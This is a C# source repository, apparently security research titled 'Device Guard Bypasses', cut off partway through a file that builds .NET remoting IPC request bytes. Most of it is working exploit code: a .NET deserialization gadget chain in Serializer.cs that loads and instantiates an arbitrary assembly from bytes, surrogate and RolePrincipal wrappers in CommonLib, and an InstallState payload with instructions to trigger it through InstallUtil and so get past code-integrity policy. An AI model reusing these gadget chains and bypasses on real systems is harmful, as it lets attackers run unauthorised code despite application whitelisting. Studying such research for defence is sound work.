├── .gitattributes ├── .gitignore ├── AUTHORS ├── Bootstrap ├── AssemblyResolver.cs ├── Bootstrap.csproj ├── EntryPoint.cs └── Properties │ └── AssemblyInfo.cs ├── CommonLib ├── CommonLib.csproj ├── FakeObject.cs ├── ObjectSurrogateSelector.cs ├── Properties │ └── AssemblyInfo.cs └── Serializer.cs ├── CreateAddInIpcData ├── App.config ├── CreateAddInIpcData.csproj ├── Program.cs ├── Properties │ ├── AssemblyInfo.cs │ ├── Resources.Designer.cs │ └── Resources.resx └── Resources │ └── Template.txt ├── CreateInstallState ├── App.config ├── CreateInstallState.csproj ├── Program.cs └── Properties │ └── AssemblyInfo.cs ├── DeviceGuardBypasses.sln ├── ExampleAsm ├── EntryPoint.cs ├── ExampleAsm.csproj └── Properties │ └── AssemblyInfo.cs ├── LICENSE ├── README └── RunPowershell ├── App.config ├── Program.cs ├── Properties └── AssemblyInfo.cs └── RunPowershell.csproj /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). Diff markers may cause the following 21 | # file extensions to fail to load in VS. An alternative would be to treat 22 | # these files as binary and thus will always conflict and require user 23 | # intervention with every merge. To do so, just uncomment the entries below 24 | ############################################################################### 25 | #*.sln merge=binary 26 | #*.csproj merge=binary 27 | #*.vbproj merge=binary 28 | #*.vcxproj merge=binary 29 | #*.vcproj merge=binary 30 | #*.dbproj merge=binary 31 | #*.fsproj merge=binary 32 | #*.lsproj merge=binary 33 | #*.wixproj merge=binary 34 | #*.modelproj merge=binary 35 | #*.sqlproj merge=binary 36 | #*.wwaproj merge=binary 37 | 38 | ############################################################################### 39 | # behavior for image files 40 | # 41 | # image files are treated as binary by default. 42 | ############################################################################### 43 | #*.jpg binary 44 | #*.png binary 45 | #*.gif binary 46 | 47 | ############################################################################### 48 | # diff behavior for common document formats 49 | # 50 | # Convert binary document formats to text before diffing them. This feature 51 | # is only available from the command line. Turn it on by uncommenting the 52 | # entries below. 53 | ############################################################################### 54 | #*.doc diff=astextplain 55 | #*.DOC diff=astextplain 56 | #*.docx diff=astextplain 57 | #*.DOCX diff=astextplain 58 | #*.dot diff=astextplain 59 | #*.DOT diff=astextplain 60 | #*.pdf diff=astextplain 61 | #*.PDF diff=astextplain 62 | #*.rtf diff=astextplain 63 | #*.RTF diff=astextplain 64 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | 4 | # User-specific files 5 | *.suo 6 | *.user 7 | *.userosscache 8 | *.sln.docstates 9 | 10 | # User-specific files (MonoDevelop/Xamarin Studio) 11 | *.userprefs 12 | 13 | # Build results 14 | [Dd]ebug/ 15 | [Dd]ebugPublic/ 16 | [Rr]elease/ 17 | [Rr]eleases/ 18 | [Xx]64/ 19 | [Xx]86/ 20 | [Bb]uild/ 21 | bld/ 22 | [Bb]in/ 23 | [Oo]bj/ 24 | 25 | # Visual Studio 2015 cache/options directory 26 | .vs/ 27 | # Uncomment if you have tasks that create the project's static files in wwwroot 28 | #wwwroot/ 29 | 30 | # MSTest test Results 31 | [Tt]est[Rr]esult*/ 32 | [Bb]uild[Ll]og.* 33 | 34 | # NUNIT 35 | *.VisualState.xml 36 | TestResult.xml 37 | 38 | # Build Results of an ATL Project 39 | [Dd]ebugPS/ 40 | [Rr]eleasePS/ 41 | dlldata.c 42 | 43 | # DNX 44 | project.lock.json 45 | artifacts/ 46 | 47 | *_i.c 48 | *_p.c 49 | *_i.h 50 | *.ilk 51 | *.meta 52 | *.obj 53 | *.pch 54 | *.pdb 55 | *.pgc 56 | *.pgd 57 | *.rsp 58 | *.sbr 59 | *.tlb 60 | *.tli 61 | *.tlh 62 | *.tmp 63 | *.tmp_proj 64 | *.log 65 | *.vspscc 66 | *.vssscc 67 | .builds 68 | *.pidb 69 | *.svclog 70 | *.scc 71 | 72 | # Chutzpah Test files 73 | _Chutzpah* 74 | 75 | # Visual C++ cache files 76 | ipch/ 77 | *.aps 78 | *.ncb 79 | *.opendb 80 | *.opensdf 81 | *.sdf 82 | *.cachefile 83 | *.VC.db 84 | 85 | # Visual Studio profiler 86 | *.psess 87 | *.vsp 88 | *.vspx 89 | *.sap 90 | 91 | # TFS 2012 Local Workspace 92 | $tf/ 93 | 94 | # Guidance Automation Toolkit 95 | *.gpState 96 | 97 | # ReSharper is a .NET coding add-in 98 | _ReSharper*/ 99 | *.[Rr]e[Ss]harper 100 | *.DotSettings.user 101 | 102 | # JustCode is a .NET coding add-in 103 | .JustCode 104 | 105 | # TeamCity is a build add-in 106 | _TeamCity* 107 | 108 | # DotCover is a Code Coverage Tool 109 | *.dotCover 110 | 111 | # NCrunch 112 | _NCrunch_* 113 | .*crunch*.local.xml 114 | nCrunchTemp_* 115 | 116 | # MightyMoose 117 | *.mm.* 118 | AutoTest.Net/ 119 | 120 | # Web workbench (sass) 121 | .sass-cache/ 122 | 123 | # Installshield output folder 124 | [Ee]xpress/ 125 | 126 | # DocProject is a documentation generator add-in 127 | DocProject/buildhelp/ 128 | DocProject/Help/*.HxT 129 | DocProject/Help/*.HxC 130 | DocProject/Help/*.hhc 131 | DocProject/Help/*.hhk 132 | DocProject/Help/*.hhp 133 | DocProject/Help/Html2 134 | DocProject/Help/html 135 | 136 | # Click-Once directory 137 | publish/ 138 | 139 | # Publish Web Output 140 | *.[Pp]ublish.xml 141 | *.azurePubxml 142 | 143 | # TODO: Un-comment the next line if you do not want to checkin 144 | # your web deploy settings because they may include unencrypted 145 | # passwords 146 | #*.pubxml 147 | *.publishproj 148 | 149 | # NuGet Packages 150 | *.nupkg 151 | # The packages folder can be ignored because of Package Restore 152 | **/packages/* 153 | # except build/, which is used as an MSBuild target. 154 | !**/packages/build/ 155 | # Uncomment if necessary however generally it will be regenerated when needed 156 | #!**/packages/repositories.config 157 | # NuGet v3's project.json files produces more ignoreable files 158 | *.nuget.props 159 | *.nuget.targets 160 | 161 | # Microsoft Azure Build Output 162 | csx/ 163 | *.build.csdef 164 | 165 | # Microsoft Azure Emulator 166 | ecf/ 167 | rcf/ 168 | 169 | # Microsoft Azure ApplicationInsights config file 170 | ApplicationInsights.config 171 | 172 | # Windows Store app package directory 173 | AppPackages/ 174 | BundleArtifacts/ 175 | 176 | # Visual Studio cache files 177 | # files ending in .cache can be ignored 178 | *.[Cc]ache 179 | # but keep track of directories ending in .cache 180 | !*.[Cc]ache/ 181 | 182 | # Others 183 | ClientBin/ 184 | [Ss]tyle[Cc]op.* 185 | ~$* 186 | *~ 187 | *.dbmdl 188 | *.dbproj.schemaview 189 | *.pfx 190 | *.publishsettings 191 | node_modules/ 192 | orleans.codegen.cs 193 | 194 | # RIA/Silverlight projects 195 | Generated_Code/ 196 | 197 | # Backup & report files from converting an old project file 198 | # to a newer Visual Studio version. Backup files are not needed, 199 | # because we have git ;-) 200 | _UpgradeReport_Files/ 201 | Backup*/ 202 | UpgradeLog*.XML 203 | UpgradeLog*.htm 204 | 205 | # SQL Server files 206 | *.mdf 207 | *.ldf 208 | 209 | # Business Intelligence projects 210 | *.rdl.data 211 | *.bim.layout 212 | *.bim_*.settings 213 | 214 | # Microsoft Fakes 215 | FakesAssemblies/ 216 | 217 | # GhostDoc plugin setting file 218 | *.GhostDoc.xml 219 | 220 | # Node.js Tools for Visual Studio 221 | .ntvs_analysis.dat 222 | 223 | # Visual Studio 6 build log 224 | *.plg 225 | 226 | # Visual Studio 6 workspace options file 227 | *.opt 228 | 229 | # Visual Studio LightSwitch build output 230 | **/*.HTMLClient/GeneratedArtifacts 231 | **/*.DesktopClient/GeneratedArtifacts 232 | **/*.DesktopClient/ModelManifest.xml 233 | **/*.Server/GeneratedArtifacts 234 | **/*.Server/ModelManifest.xml 235 | _Pvt_Extensions 236 | 237 | # LightSwitch generated files 238 | GeneratedArtifacts/ 239 | ModelManifest.xml 240 | 241 | # Paket dependency manager 242 | .paket/paket.exe 243 | 244 | # FAKE - F# Make 245 | .fake/ -------------------------------------------------------------------------------- /AUTHORS: -------------------------------------------------------------------------------- 1 | James Forshaw -------------------------------------------------------------------------------- /Bootstrap/AssemblyResolver.cs: -------------------------------------------------------------------------------- 1 | // This file is part of Device Guard Bypasses 2 | // 3 | // Device Guard Bypasses is free software: you can redistribute it 4 | // and/or modify it under the terms of the GNU General Public License 5 | // as published by the Free Software Foundation, either version 3 of 6 | // the License, or (at your option) any later version. 7 | // 8 | // Foobar is distributed in the hope that it will be useful, 9 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the 11 | // GNU General Public License for more details. 12 | // 13 | // You should have received a copy of the GNU General Public License 14 | // along with Device Guard Bypasses. If not, see. 15 | 16 | using System; 17 | using System.Collections.Generic; 18 | using System.IO; 19 | using System.Linq; 20 | using System.Reflection; 21 | 22 | namespace Bootstrap 23 | { 24 | class AssemblyResolver 25 | { 26 | private Dictionary _resolved_asms = 27 | new Dictionary(StringComparer.OrdinalIgnoreCase); 28 | 29 | private HashSet _resolver_paths = 30 | new HashSet(StringComparer.OrdinalIgnoreCase); 31 | 32 | private bool _trace_enabled; 33 | 34 | public bool TraceEnabled 35 | { 36 | get 37 | { 38 | return _trace_enabled; 39 | } 40 | 41 | set 42 | { 43 | _trace_enabled = value; 44 | } 45 | } 46 | 47 | private void Trace(string str) 48 | { 49 | if (_trace_enabled) 50 | { 51 | Console.WriteLine(str); 52 | } 53 | } 54 | 55 | private void Trace(string fmt, params object[] objs) 56 | { 57 | Trace(String.Format(fmt, objs)); 58 | } 59 | 60 | internal void ResetCache() 61 | { 62 | _resolved_asms.Clear(); 63 | Assembly asm = typeof(EntryPoint).Assembly; 64 | _resolved_asms["bootstrap"] = asm; 65 | _resolved_asms[asm.FullName] = asm; 66 | } 67 | 68 | internal void ResetMissingCache() 69 | { 70 | foreach (var pair in _resolved_asms.ToArray()) 71 | { 72 | if (pair.Value == null) 73 | { 74 | _resolved_asms.Remove(pair.Key); 75 | } 76 | } 77 | } 78 | 79 | internal AssemblyResolver() 80 | { 81 | ResetCache(); 82 | // Get list of assembly paths from environment if ASSEMBLY_PATH exists. 83 | string asm_path = Environment.GetEnvironmentVariable("ASSEMBLY_PATH"); 84 | if (!String.IsNullOrWhiteSpace(asm_path)) 85 | { 86 | foreach (string path in asm_path.Split(new[] { ';' }, StringSplitOptions.RemoveEmptyEntries)) 87 | { 88 | _resolver_paths.Add(Path.GetFullPath(path)); 89 | } 90 | } 91 | else 92 | { 93 | // Default to Documents\assembly 94 | _resolver_paths.Add(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments), "assembly")); 95 | } 96 | 97 | // Setup resolver. 98 | AppDomain.CurrentDomain.AssemblyResolve += CurrentDomain_AssemblyResolve; 99 | } 100 | 101 | internal void AddAssemblyPath(string path) 102 | { 103 | _resolver_paths.Add(Path.GetFullPath(path)); 104 | } 105 | 106 | private string FindAssemblyPath(AssemblyName name, string extension) 107 | { 108 | foreach (string path in 109 | _resolver_paths.Select(p => 110 | Path.ChangeExtension(Path.Combine(p, name.Name), extension))) 111 | { 112 | Trace("Checking {0}", path); 113 | if (File.Exists(path)) 114 | { 115 | return path; 116 | } 117 | } 118 | return null; 119 | } 120 | 121 | private Assembly CurrentDomain_AssemblyResolve(object sender, ResolveEventArgs args) 122 | { 123 | Trace("Looking up {0}", args.Name); 124 | if (!_resolved_asms.ContainsKey(args.Name)) 125 | { 126 | AssemblyName name = new AssemblyName(args.Name); 127 | string path = FindAssemblyPath(name, ".exe") ?? FindAssemblyPath(name, ".dll"); 128 | if (path != null) 129 | { 130 | Assembly asm = Assembly.Load(File.ReadAllBytes(path)); 131 | _resolved_asms[args.Name] = asm; 132 | _resolved_asms[asm.FullName] = asm; 133 | } 134 | else 135 | { 136 | _resolved_asms[args.Name] = null; 137 | } 138 | } 139 | 140 | return _resolved_asms[args.Name]; 141 | } 142 | 143 | } 144 | } 145 | -------------------------------------------------------------------------------- /Bootstrap/Bootstrap.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {3705800F-1424-465B-937D-586E3A622A4F} 8 | Exe 9 | Properties 10 | Bootstrap 11 | Bootstrap 12 | v4.5.2 13 | 512 14 | 15 | 16 | true 17 | full 18 | false 19 | bin\Debug\ 20 | DEBUG;TRACE 21 | prompt 22 | 4 23 | 24 | 25 | pdbonly 26 | true 27 | bin\Release\ 28 | TRACE 29 | prompt 30 | 4 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 58 | -------------------------------------------------------------------------------- /Bootstrap/EntryPoint.cs: -------------------------------------------------------------------------------- 1 | // This file is part of Device Guard Bypasses 2 | // 3 | // Device Guard Bypasses is free software: you can redistribute it 4 | // and/or modify it under the terms of the GNU General Public License 5 | // as published by the Free Software Foundation, either version 3 of 6 | // the License, or (at your option) any later version. 7 | // 8 | // Foobar is distributed in the hope that it will be useful, 9 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the 11 | // GNU General Public License for more details. 12 | // 13 | // You should have received a copy of the GNU General Public License 14 | // along with Device Guard Bypasses. If not, see.. 15 | 16 | using System; 17 | using System.IO; 18 | using System.Threading; 19 | 20 | namespace Bootstrap 21 | { 22 | public class EntryPoint 23 | { 24 | private static AssemblyResolver _main_resolver = new AssemblyResolver(); 25 | 26 | static void MainThread(object resolver) 27 | { 28 | try 29 | { 30 | AppDomain.CurrentDomain.ExecuteAssemblyByName("startasm"); 31 | } 32 | catch (Exception ex) 33 | { 34 | Console.WriteLine(ex); 35 | } 36 | } 37 | 38 | public EntryPoint() 39 | { 40 | // Execute the assembly named startasm. 41 | Thread thread = new Thread(MainThread); 42 | thread.Start(_main_resolver); 43 | thread.Join(); 44 | } 45 | 46 | /// 47 | /// Add a path to the assembly lookup 48 | /// 49 | /// The path for lookup 50 | public static void AddAssemblyPath(string path) 51 | { 52 | _main_resolver.AddAssemblyPath(Path.GetFullPath(path)); 53 | } 54 | 55 | /// 56 | /// Reset entire cache. 57 | /// 58 | public static void ResetCache() 59 | { 60 | _main_resolver.ResetCache(); 61 | } 62 | 63 | /// 64 | /// Reset cache to remove any assemblies which weren't found. 65 | /// 66 | public static void ResetMissingCache() 67 | { 68 | _main_resolver.ResetMissingCache(); 69 | } 70 | 71 | public static bool TraceEnabled 72 | { 73 | get 74 | { 75 | return _main_resolver.TraceEnabled; 76 | } 77 | set 78 | { 79 | _main_resolver.TraceEnabled = value; 80 | } 81 | } 82 | 83 | /// 84 | /// Entrypoint for testing. 85 | /// 86 | static void Main() 87 | { 88 | try 89 | { 90 | EntryPoint ep = new EntryPoint(); 91 | } 92 | catch (Exception ex) 93 | { 94 | Console.WriteLine(ex); 95 | } 96 | } 97 | } 98 | } 99 | -------------------------------------------------------------------------------- /Bootstrap/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("Bootstrap")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("Bootstrap")] 13 | [assembly: AssemblyCopyright("Copyright © 2017")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("3705800f-1424-465b-937d-586e3a622a4f")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /CommonLib/CommonLib.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {4E6CEEA1-F266-401C-B832-F91432D46F42} 8 | Library 9 | Properties 10 | CommonLib 11 | CommonLib 12 | v4.5 13 | 512 14 | 15 | 16 | true 17 | full 18 | false 19 | bin\Debug\ 20 | DEBUG;TRACE 21 | prompt 22 | 4 23 | 24 | 25 | pdbonly 26 | true 27 | bin\Release\ 28 | TRACE 29 | prompt 30 | 4 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 58 | -------------------------------------------------------------------------------- /CommonLib/FakeObject.cs: -------------------------------------------------------------------------------- 1 | // This file is part of Device Guard Bypasses 2 | // 3 | // Device Guard Bypasses is free software: you can redistribute it 4 | // and/or modify it under the terms of the GNU General Public License 5 | // as published by the Free Software Foundation, either version 3 of 6 | // the License, or (at your option) any later version. 7 | // 8 | // Foobar is distributed in the hope that it will be useful, 9 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the 11 | // GNU General Public License for more details. 12 | // 13 | // You should have received a copy of the GNU General Public License 14 | // along with Device Guard Bypasses. If not, see. 15 | 16 | using System; 17 | using System.IO; 18 | using System.Runtime.Serialization; 19 | using System.Runtime.Serialization.Formatters.Binary; 20 | using System.Web.Security; 21 | 22 | namespace CommonLib 23 | { 24 | [Serializable] 25 | public class WrappedAssemblyObject : ISerializable 26 | { 27 | public byte[] _assembly; 28 | 29 | public WrappedAssemblyObject(string filename) 30 | { 31 | _assembly = File.ReadAllBytes(filename); 32 | } 33 | 34 | public void GetObjectData(SerializationInfo info, StreamingContext context) 35 | { 36 | BinaryFormatter fmt = new BinaryFormatter(); 37 | MemoryStream stm = new MemoryStream(); 38 | fmt.SurrogateSelector = new ObjectSurrogateSelector(); 39 | fmt.Serialize(stm, Serializer.CreateAssemblyLoader(_assembly)); 40 | info.SetType(typeof(RolePrincipal)); 41 | info.AddValue("System.Security.ClaimsPrincipal.Identities", Convert.ToBase64String(stm.ToArray())); 42 | } 43 | } 44 | 45 | } 46 | -------------------------------------------------------------------------------- /CommonLib/ObjectSurrogateSelector.cs: -------------------------------------------------------------------------------- 1 | // This file is part of Device Guard Bypasses 2 | // 3 | // Device Guard Bypasses is free software: you can redistribute it 4 | // and/or modify it under the terms of the GNU General Public License 5 | // as published by the Free Software Foundation, either version 3 of 6 | // the License, or (at your option) any later version. 7 | // 8 | // Foobar is distributed in the hope that it will be useful, 9 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the 11 | // GNU General Public License for more details. 12 | // 13 | // You should have received a copy of the GNU General Public License 14 | // along with Device Guard Bypasses. If not, see. 15 | 16 | using System; 17 | using System.Runtime.Serialization; 18 | 19 | namespace CommonLib 20 | { 21 | public class ObjectSurrogateSelector : SurrogateSelector 22 | { 23 | public override ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector selector) 24 | { 25 | selector = this; 26 | if (!type.IsSerializable) 27 | { 28 | Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"); 29 | return (ISerializationSurrogate)Activator.CreateInstance(t); 30 | } 31 | 32 | return base.GetSurrogate(type, context, out selector); 33 | } 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /CommonLib/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.InteropServices; 3 | 4 | // General Information about an assembly is controlled through the following 5 | // set of attributes. Change these attribute values to modify the information 6 | // associated with an assembly. 7 | [assembly: AssemblyTitle("CommonLib")] 8 | [assembly: AssemblyDescription("")] 9 | [assembly: AssemblyConfiguration("")] 10 | [assembly: AssemblyCompany("")] 11 | [assembly: AssemblyProduct("CommonLib")] 12 | [assembly: AssemblyCopyright("Copyright © James Forshaw 2017")] 13 | [assembly: AssemblyTrademark("")] 14 | [assembly: AssemblyCulture("")] 15 | 16 | // Setting ComVisible to false makes the types in this assembly not visible 17 | // to COM components. If you need to access a type in this assembly from 18 | // COM, set the ComVisible attribute to true on that type. 19 | [assembly: ComVisible(false)] 20 | 21 | // The following GUID is for the ID of the typelib if this project is exposed to COM 22 | [assembly: Guid("4e6ceea1-f266-401c-b832-f91432d46f42")] 23 | 24 | // Version information for an assembly consists of the following four values: 25 | // 26 | // Major Version 27 | // Minor Version 28 | // Build Number 29 | // Revision 30 | // 31 | // You can specify all the values or you can default the Build and Revision Numbers 32 | // by using the '*' as shown below: 33 | // [assembly: AssemblyVersion("1.0.*")] 34 | [assembly: AssemblyVersion("1.0.0.0")] 35 | [assembly: AssemblyFileVersion("1.0.0.0")] 36 | -------------------------------------------------------------------------------- /CommonLib/Serializer.cs: -------------------------------------------------------------------------------- 1 | // This file is part of Device Guard Bypasses 2 | // 3 | // Device Guard Bypasses is free software: you can redistribute it 4 | // and/or modify it under the terms of the GNU General Public License 5 | // as published by the Free Software Foundation, either version 3 of 6 | // the License, or (at your option) any later version. 7 | // 8 | // Foobar is distributed in the hope that it will be useful, 9 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the 11 | // GNU General Public License for more details. 12 | // 13 | // You should have received a copy of the GNU General Public License 14 | // along with Device Guard Bypasses. If not, see. 15 | 16 | using System; 17 | using System.Collections; 18 | using System.Collections.Generic; 19 | using System.ComponentModel.Design; 20 | using System.IO; 21 | using System.Linq; 22 | using System.Reflection; 23 | using System.Runtime.Serialization; 24 | using System.Runtime.Serialization.Formatters.Binary; 25 | using System.Web.UI.WebControls; 26 | using System.Xml; 27 | 28 | namespace CommonLib 29 | { 30 | public class Serializer 31 | { 32 | static T CreateDelegate(MethodInfo mi) 33 | { 34 | return (T)(object)Delegate.CreateDelegate(typeof(T), mi); 35 | } 36 | 37 | static T CreateDelegate(Type type, string name) 38 | { 39 | return CreateDelegate(type.GetMethod(name)); 40 | } 41 | 42 | static T CreateGetterDelegate(Type type, string name) 43 | { 44 | return CreateDelegate(type.GetProperty(name).GetMethod); 45 | } 46 | 47 | public static object CreateAssemblyLoader(byte[] assembly) 48 | { 49 | // Build a chain to map a byte array to creating an instance of a class. 50 | // byte[] -> Assembly.Load -> Assembly -> Assembly.GetType -> Type[] -> Activator.CreateInstance -> Win! 51 | byte[][] data = new byte[1][]; 52 | data[0] = assembly; 53 | var e1 = data.Select(Assembly.Load); 54 | var map_type = CreateDelegate>>(typeof(Assembly), "GetTypes"); 55 | var e2 = e1.SelectMany(map_type); 56 | var p = CreateGetterDelegate>(typeof(Type), "IsPublic"); 57 | var e3 = e2.Where(p); 58 | var e4 = e3.Select(Activator.CreateInstance); 59 | 60 | // PagedDataSource maps an arbitrary IEnumerable to an ICollection 61 | PagedDataSource pds = new PagedDataSource() { DataSource = e4 }; 62 | // AggregateDictionary maps an arbitrary ICollection to an IDictionary 63 | // Class is internal so need to use reflection. 64 | IDictionary dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds); 65 | 66 | // DesignerVerb queries a value from an IDictionary when its ToString is called. This results in the linq enumerator being walked. 67 | DesignerVerb verb = new DesignerVerb("XYZ", null); 68 | // Need to insert IDictionary using reflection. 69 | typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict); 70 | 71 | // Pre-load objects, this ensures they're fixed up before building the hash table. 72 | List ls = new List(); 73 | ls.Add(e1); 74 | ls.Add(e2); 75 | ls.Add(e3); 76 | ls.Add(e4); 77 | ls.Add(pds); 78 | ls.Add(verb); 79 | ls.Add(dict); 80 | 81 | Hashtable ht = new Hashtable(); 82 | 83 | // Add two entries to table. 84 | ht.Add(verb, "Hello"); 85 | ht.Add("Dummy", "Hello2"); 86 | 87 | FieldInfo fi_keys = ht.GetType().GetField("buckets", BindingFlags.NonPublic | BindingFlags.Instance); 88 | Array keys = (Array)fi_keys.GetValue(ht); 89 | FieldInfo fi_key = keys.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance); 90 | for (int i = 0; i < keys.Length; ++i) 91 | { 92 | object bucket = keys.GetValue(i); 93 | object key = fi_key.GetValue(bucket); 94 | if (key is string) 95 | { 96 | fi_key.SetValue(bucket, verb); 97 | keys.SetValue(bucket, i); 98 | break; 99 | } 100 | } 101 | 102 | fi_keys.SetValue(ht, keys); 103 | ls.Add(ht); 104 | 105 | return ls; 106 | } 107 | 108 | public static void SerializeToNetDataSerializer(string filename, object obj) 109 | { 110 | XmlWriterSettings settings = new XmlWriterSettings() { Indent = true }; 111 | using (XmlWriter writer = XmlWriter.Create(filename, settings)) 112 | { 113 | writer.WriteComment("Copy this file to mscorlib.InstallState in a directory, say c:\\dummy\r\nThen run the command \"InstallUtil /u /InstallStateDir=c:\\dummy /AssemblyName mscorlib\""); 114 | NetDataContractSerializer serializer = new NetDataContractSerializer(); 115 | serializer.WriteObject(writer, obj); 116 | } 117 | } 118 | 119 | public static object DeserializeFromNetDataSerializer(string filename) 120 | { 121 | using (XmlReader reader = XmlReader.Create(filename)) 122 | { 123 | NetDataContractSerializer serializer = new NetDataContractSerializer(); 124 | return serializer.ReadObject(reader); 125 | } 126 | } 127 | 128 | public static byte[] SerializeToBytes(object obj) 129 | { 130 | MemoryStream stm = new MemoryStream(); 131 | BinaryFormatter fmt = new BinaryFormatter(); 132 | fmt.Serialize(stm, obj); 133 | return stm.ToArray(); 134 | } 135 | 136 | public static object DeserializeFromBytes(byte[] ba) 137 | { 138 | MemoryStream stm = new MemoryStream(ba); 139 | BinaryFormatter fmt = new BinaryFormatter(); 140 | return fmt.Deserialize(stm); 141 | } 142 | } 143 | } 144 | -------------------------------------------------------------------------------- /CreateAddInIpcData/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /CreateAddInIpcData/CreateAddInIpcData.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {D85E3601-0421-4EFA-A479-F3370C0498FD} 8 | Exe 9 | Properties 10 | CreateAddInIpcData 11 | CreateAddInIpcData 12 | v4.5 13 | 512 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | True 49 | True 50 | Resources.resx 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | {4e6ceea1-f266-401c-b832-f91432d46f42} 59 | CommonLib 60 | 61 | 62 | 63 | 64 | ResXFileCodeGenerator 65 | Resources.Designer.cs 66 | 67 | 68 | 69 | 70 | 71 | 72 | 79 | -------------------------------------------------------------------------------- /CreateAddInIpcData/Program.cs: -------------------------------------------------------------------------------- 1 | // This file is part of Device Guard Bypasses 2 | // 3 | // Device Guard Bypasses is free software: you can redistribute it 4 | // and/or modify it under the terms of the GNU General Public License 5 | // as published by the Free Software Foundation, either version 3 of 6 | // the License, or (at your option) any later version. 7 | // 8 | // Foobar is distributed in the hope that it will be useful, 9 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the 11 | // GNU General Public License for more details. 12 | // 13 | // You should have received a copy of the GNU General Public License 14 | // along with Device Guard Bypasses. If not, see. 15 | 16 | using CommonLib; 17 | using System; 18 | using System.IO; 19 | using System.Linq; 20 | using System.Text; 21 | 22 | namespace CreateAddInIpcData 23 | { 24 | class Program 25 | { 26 | static byte[] BuildRequestBytes(byte[] data, string uri) 27 | { 28 | MemoryStream stm = new MemoryStream(); 29 | BinaryWriter writer = new BinaryWriter(stm); 30 | writer.Write((uint)0x54454E2E); // Header 31 | writer.Write((byte)1); // Major 32 | writer.Write((byte)0); // Minor 33 | writer.Write((ushort)0); // OperationType 34 | writer.Write((ushort)0); // ContentDistribution 35 | writer.Write(data.Length); // Data Length 36 | 37 | writer.Write((ushort)4); // UriHeader 38 | writer.Write((byte)1); // DataType 39 | writer.Write((byte)1); // Encoding: UTF8 40 | 41 | byte[] uriData = Encoding.UTF8.GetBytes(uri); 42 | 43 | 